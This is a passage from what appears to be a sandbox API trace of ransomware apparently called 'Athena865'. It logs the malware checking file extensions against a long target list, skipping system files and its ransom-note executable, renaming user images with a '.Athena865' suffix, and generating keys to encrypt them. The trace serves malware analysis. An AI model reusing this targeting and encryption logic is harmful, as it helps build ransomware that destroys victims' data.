(lpString="mpd") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="mpd") returned -1 [0051.725] lstrlenW (lpString="mrg") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="mrg") returned -1 [0051.725] lstrlenW (lpString="mud") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="mud") returned -1 [0051.725] lstrlenW (lpString="mwb") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="mwb") returned -1 [0051.725] lstrlenW (lpString="myd") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="myd") returned -1 [0051.725] lstrlenW (lpString="ndf") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="ndf") returned -1 [0051.725] lstrlenW (lpString="nnt") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="nnt") returned -1 [0051.725] lstrlenW (lpString="nrmlib") returned 6 [0051.725] lstrcmpiW (lpString1="zS.gif", lpString2="nrmlib") returned 1 [0051.725] lstrlenW (lpString="ns2") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="ns2") returned -1 [0051.725] lstrlenW (lpString="ns3") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="ns3") returned -1 [0051.725] lstrlenW (lpString="ns4") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="ns4") returned -1 [0051.725] lstrlenW (lpString="nsf") returned 3 [0051.725] lstrcmpiW (lpString1="gif", lpString2="nsf") returned -1 [0051.725] lstrlenW (lpString="nv") returned 2 [0051.725] lstrcmpiW (lpString1="if", lpString2="nv") returned -1 [0051.726] lstrlenW (lpString="nv2") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="nv2") returned -1 [0051.726] lstrlenW (lpString="nwdb") returned 4 [0051.726] lstrcmpiW (lpString1=".gif", lpString2="nwdb") returned -1 [0051.726] lstrlenW (lpString="nyf") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="nyf") returned -1 [0051.726] lstrlenW (lpString="odb") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1 [0051.726] lstrlenW (lpString="odb") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1 [0051.726] lstrlenW (lpString="oqy") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="oqy") returned -1 [0051.726] lstrlenW (lpString="ora") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="ora") returned -1 [0051.726] lstrlenW (lpString="orx") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="orx") returned -1 [0051.726] lstrlenW (lpString="owc") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="owc") returned -1 [0051.726] lstrlenW (lpString="p96") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="p96") returned -1 [0051.726] lstrlenW (lpString="p97") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="p97") returned -1 [0051.726] lstrlenW (lpString="pan") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="pan") returned -1 [0051.726] lstrlenW (lpString="pdb") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="pdb") returned -1 [0051.726] lstrlenW (lpString="pdm") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="pdm") returned -1 [0051.726] lstrlenW (lpString="pnz") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="pnz") returned -1 [0051.726] lstrlenW (lpString="qry") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="qry") returned -1 [0051.726] lstrlenW (lpString="qvd") returned 3 [0051.726] lstrcmpiW (lpString1="gif", lpString2="qvd") returned -1 [0051.727] lstrlenW (lpString="rbf") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="rbf") returned -1 [0051.727] lstrlenW (lpString="rctd") returned 4 [0051.727] lstrcmpiW (lpString1=".gif", lpString2="rctd") returned -1 [0051.727] lstrlenW (lpString="rod") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="rod") returned -1 [0051.727] lstrlenW (lpString="rodx") returned 4 [0051.727] lstrcmpiW (lpString1=".gif", lpString2="rodx") returned -1 [0051.727] lstrlenW (lpString="rpd") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="rpd") returned -1 [0051.727] lstrlenW (lpString="rsd") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="rsd") returned -1 [0051.727] lstrlenW (lpString="sas7bdat") returned 8 [0051.727] lstrcmpiW (lpString1="w5zS.gif", lpString2="sas7bdat") returned 1 [0051.727] lstrlenW (lpString="sbf") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="sbf") returned -1 [0051.727] lstrlenW (lpString="scx") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="scx") returned -1 [0051.727] lstrlenW (lpString="sdb") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="sdb") returned -1 [0051.727] lstrlenW (lpString="sdc") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="sdc") returned -1 [0051.727] lstrlenW (lpString="sdf") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="sdf") returned -1 [0051.727] lstrlenW (lpString="sis") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="sis") returned -1 [0051.727] lstrlenW (lpString="spq") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="spq") returned -1 [0051.727] lstrlenW (lpString="te") returned 2 [0051.727] lstrcmpiW (lpString1="if", lpString2="te") returned -1 [0051.727] lstrlenW (lpString="teacher") returned 7 [0051.727] lstrcmpiW (lpString1="5zS.gif", lpString2="teacher") returned -1 [0051.727] lstrlenW (lpString="tmd") returned 3 [0051.727] lstrcmpiW (lpString1="gif", lpString2="tmd") returned -1 [0051.727] lstrlenW (lpString="tps") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="tps") returned -1 [0051.728] lstrlenW (lpString="trc") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1 [0051.728] lstrlenW (lpString="trc") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1 [0051.728] lstrlenW (lpString="trm") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="trm") returned -1 [0051.728] lstrlenW (lpString="udb") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="udb") returned -1 [0051.728] lstrlenW (lpString="udl") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="udl") returned -1 [0051.728] lstrlenW (lpString="usr") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="usr") returned -1 [0051.728] lstrlenW (lpString="v12") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="v12") returned -1 [0051.728] lstrlenW (lpString="vis") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="vis") returned -1 [0051.728] lstrlenW (lpString="vpd") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="vpd") returned -1 [0051.728] lstrlenW (lpString="vvv") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="vvv") returned -1 [0051.728] lstrlenW (lpString="wdb") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="wdb") returned -1 [0051.728] lstrlenW (lpString="wmdb") returned 4 [0051.728] lstrcmpiW (lpString1=".gif", lpString2="wmdb") returned -1 [0051.728] lstrlenW (lpString="wrk") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="wrk") returned -1 [0051.728] lstrlenW (lpString="xdb") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="xdb") returned -1 [0051.728] lstrlenW (lpString="xld") returned 3 [0051.728] lstrcmpiW (lpString1="gif", lpString2="xld") returned -1 [0051.728] lstrlenW (lpString="xmlff") returned 5 [0051.728] lstrcmpiW (lpString1="S.gif", lpString2="xmlff") returned -1 [0051.728] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\nQTw2Rxk0zIkw5zS.gif.Athena865") returned 86 [0051.729] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\nQTw2Rxk0zIkw5zS.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\nqtw2rxk0zikw5zs.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\nQTw2Rxk0zIkw5zS.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\nqtw2rxk0zikw5zs.gif.athena865"), dwFlags=0x1) returned 1 [0051.729] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\nQTw2Rxk0zIkw5zS.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\nqtw2rxk0zikw5zs.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.729] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4756) returned 1 [0051.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.730] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.730] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.730] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.731] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15a0, lpName=0x0) returned 0x154 [0051.731] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15a0) returned 0x100000 [0051.731] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.732] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.732] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.732] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.733] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.733] CloseHandle (hObject=0x154) returned 1 [0051.733] CloseHandle (hObject=0x17c) returned 1 [0051.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.734] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.734] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x572078d0, ftCreationTime.dwHighDateTime=0x1d4d0de, ftLastAccessTime.dwLowDateTime=0xc4fa8090, ftLastAccessTime.dwHighDateTime=0x1d4cb15, ftLastWriteTime.dwLowDateTime=0xc4fa8090, ftLastWriteTime.dwHighDateTime=0x1d4cb15, nFileSizeHigh=0x0, nFileSizeLow=0x1bde, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OQaj- Y8eFM79sEi.jpg", cAlternateFileName="OQAJ-Y~1.JPG")) returned 1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2=".") returned 1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="..") returned 1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="windows") returned -1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="bootmgr") returned 1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="temp") returned -1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="pagefile.sys") returned -1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="boot") returned 1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="ids.txt") returned 1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="ntuser.dat") returned 1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="perflogs") returned -1 [0051.734] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2="MSBuild") returned 1 [0051.734] lstrlenW (lpString="OQaj- Y8eFM79sEi.jpg") returned 20 [0051.734] lstrcpyW (in: lpString1=0x241e8b8, lpString2="OQaj- Y8eFM79sEi.jpg" | out: lpString1="OQaj- Y8eFM79sEi.jpg") returned="OQaj- Y8eFM79sEi.jpg" [0051.734] lstrlenW (lpString="OQaj- Y8eFM79sEi.jpg") returned 20 [0051.734] lstrlenW (lpString="Athena865") returned 9 [0051.735] lstrcmpiW (lpString1="79sEi.jpg", lpString2="Athena865") returned -1 [0051.735] lstrlenW (lpString=".dll") returned 4 [0051.735] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2=".dll") returned 1 [0051.735] lstrlenW (lpString=".lnk") returned 4 [0051.735] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2=".lnk") returned 1 [0051.735] lstrlenW (lpString=".ini") returned 4 [0051.735] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2=".ini") returned 1 [0051.735] lstrlenW (lpString=".sys") returned 4 [0051.735] lstrcmpiW (lpString1="OQaj- Y8eFM79sEi.jpg", lpString2=".sys") returned 1 [0051.735] lstrlenW (lpString="OQaj- Y8eFM79sEi.jpg") returned 20 [0051.735] lstrlenW (lpString="bak") returned 3 [0051.735] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0051.735] lstrlenW (lpString="ba_") returned 3 [0051.735] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0051.735] lstrlenW (lpString="dbb") returned 3 [0051.735] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0051.735] lstrlenW (lpString="vmdk") returned 4 [0051.735] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0051.735] lstrlenW (lpString="rar") returned 3 [0051.735] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0051.735] lstrlenW (lpString="zip") returned 3 [0051.735] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0051.735] lstrlenW (lpString="tgz") returned 3 [0051.735] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0051.735] lstrlenW (lpString="vbox") returned 4 [0051.735] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0051.735] lstrlenW (lpString="vdi") returned 3 [0051.735] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0051.735] lstrlenW (lpString="vhd") returned 3 [0051.735] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0051.735] lstrlenW (lpString="vhdx") returned 4 [0051.735] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0051.735] lstrlenW (lpString="avhd") returned 4 [0051.736] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0051.736] lstrlenW (lpString="db") returned 2 [0051.736] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0051.736] lstrlenW (lpString="db2") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0051.736] lstrlenW (lpString="db3") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0051.736] lstrlenW (lpString="dbf") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0051.736] lstrlenW (lpString="mdf") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0051.736] lstrlenW (lpString="mdb") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0051.736] lstrlenW (lpString="sql") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0051.736] lstrlenW (lpString="sqlite") returned 6 [0051.736] lstrcmpiW (lpString1="Ei.jpg", lpString2="sqlite") returned -1 [0051.736] lstrlenW (lpString="sqlite3") returned 7 [0051.736] lstrcmpiW (lpString1="sEi.jpg", lpString2="sqlite3") returned -1 [0051.736] lstrlenW (lpString="sqlitedb") returned 8 [0051.736] lstrcmpiW (lpString1="9sEi.jpg", lpString2="sqlitedb") returned -1 [0051.736] lstrlenW (lpString="xml") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0051.736] lstrlenW (lpString="$er") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0051.736] lstrlenW (lpString="4dd") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0051.736] lstrlenW (lpString="4dl") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0051.736] lstrlenW (lpString="^^^") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0051.736] lstrlenW (lpString="abs") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0051.736] lstrlenW (lpString="abx") returned 3 [0051.736] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0051.737] lstrlenW (lpString="accdb") returned 5 [0051.737] lstrcmpiW (lpString1="i.jpg", lpString2="accdb") returned 1 [0051.737] lstrlenW (lpString="accdc") returned 5 [0051.737] lstrcmpiW (lpString1="i.jpg", lpString2="accdc") returned 1 [0051.737] lstrlenW (lpString="accde") returned 5 [0051.737] lstrcmpiW (lpString1="i.jpg", lpString2="accde") returned 1 [0051.737] lstrlenW (lpString="accdr") returned 5 [0051.737] lstrcmpiW (lpString1="i.jpg", lpString2="accdr") returned 1 [0051.737] lstrlenW (lpString="accdt") returned 5 [0051.737] lstrcmpiW (lpString1="i.jpg", lpString2="accdt") returned 1 [0051.737] lstrlenW (lpString="accdw") returned 5 [0051.737] lstrcmpiW (lpString1="i.jpg", lpString2="accdw") returned 1 [0051.737] lstrlenW (lpString="accft") returned 5 [0051.737] lstrcmpiW (lpString1="i.jpg", lpString2="accft") returned 1 [0051.737] lstrlenW (lpString="adb") returned 3 [0051.737] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0051.737] lstrlenW (lpString="adb") returned 3 [0051.737] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0051.737] lstrlenW (lpString="ade") returned 3 [0051.737] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0051.737] lstrlenW (lpString="adf") returned 3 [0051.737] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0051.737] lstrlenW (lpString="adn") returned 3 [0051.737] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0051.737] lstrlenW (lpString="adp") returned 3 [0051.737] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0051.737] lstrlenW (lpString="alf") returned 3 [0051.737] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0051.737] lstrlenW (lpString="ask") returned 3 [0051.737] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0051.737] lstrlenW (lpString="btr") returned 3 [0051.737] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0051.737] lstrlenW (lpString="cat") returned 3 [0051.737] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0051.738] lstrlenW (lpString="cdb") returned 3 [0051.738] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0051.738] lstrlenW (lpString="ckp") returned 3 [0051.738] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0051.738] lstrlenW (lpString="cma") returned 3 [0051.738] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0051.738] lstrlenW (lpString="cpd") returned 3 [0051.738] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0051.738] lstrlenW (lpString="dacpac") returned 6 [0051.738] lstrcmpiW (lpString1="Ei.jpg", lpString2="dacpac") returned 1 [0051.738] lstrlenW (lpString="dad") returned 3 [0051.738] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0051.738] lstrlenW (lpString="dadiagrams") returned 10 [0051.738] lstrcmpiW (lpString1="M79sEi.jpg", lpString2="dadiagrams") returned 1 [0051.738] lstrlenW (lpString="daschema") returned 8 [0051.738] lstrcmpiW (lpString1="9sEi.jpg", lpString2="daschema") returned -1 [0051.738] lstrlenW (lpString="db-journal") returned 10 [0051.738] lstrcmpiW (lpString1="M79sEi.jpg", lpString2="db-journal") returned 1 [0051.738] lstrlenW (lpString="db-shm") returned 6 [0051.738] lstrcmpiW (lpString1="Ei.jpg", lpString2="db-shm") returned 1 [0051.738] lstrlenW (lpString="db-wal") returned 6 [0051.738] lstrcmpiW (lpString1="Ei.jpg", lpString2="db-wal") returned 1 [0051.738] lstrlenW (lpString="dbc") returned 3 [0051.738] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0051.738] lstrlenW (lpString="dbs") returned 3 [0051.738] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0051.738] lstrlenW (lpString="dbt") returned 3 [0051.738] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0051.738] lstrlenW (lpString="dbv") returned 3 [0051.738] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0051.738] lstrlenW (lpString="dbx") returned 3 [0051.738] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0051.738] lstrlenW (lpString="dcb") returned 3 [0051.738] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0051.739] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\OQaj- Y8eFM79sEi.jpg.Athena865") returned 86 [0051.739] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\OQaj- Y8eFM79sEi.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\oqaj- y8efm79sei.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\OQaj- Y8eFM79sEi.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\oqaj- y8efm79sei.jpg.athena865"), dwFlags=0x1) returned 1 [0051.739] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\OQaj- Y8eFM79sEi.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\oqaj- y8efm79sei.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.739] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7134) returned 1 [0051.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.740] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.741] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.741] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.741] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ee0, lpName=0x0) returned 0x154 [0051.741] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ee0) returned 0x100000 [0051.741] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.742] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.742] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.743] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.743] CloseHandle (hObject=0x154) returned 1 [0051.743] CloseHandle (hObject=0x17c) returned 1 [0051.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.744] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.744] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17041e30, ftCreationTime.dwHighDateTime=0x1d4d266, ftLastAccessTime.dwLowDateTime=0x98a5fb00, ftLastAccessTime.dwHighDateTime=0x1d4d1b4, ftLastWriteTime.dwLowDateTime=0x98a5fb00, ftLastWriteTime.dwHighDateTime=0x1d4d1b4, nFileSizeHigh=0x0, nFileSizeLow=0xee77, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oUH1_pI2itD4dpy_z8OI.jpg", cAlternateFileName="OUH1_P~1.JPG")) returned 1 [0051.744] lstrcmpiW (lpString1="oUH1_pI2itD4dpy_z8OI.jpg", lpString2="HOW TO BACK YOUR 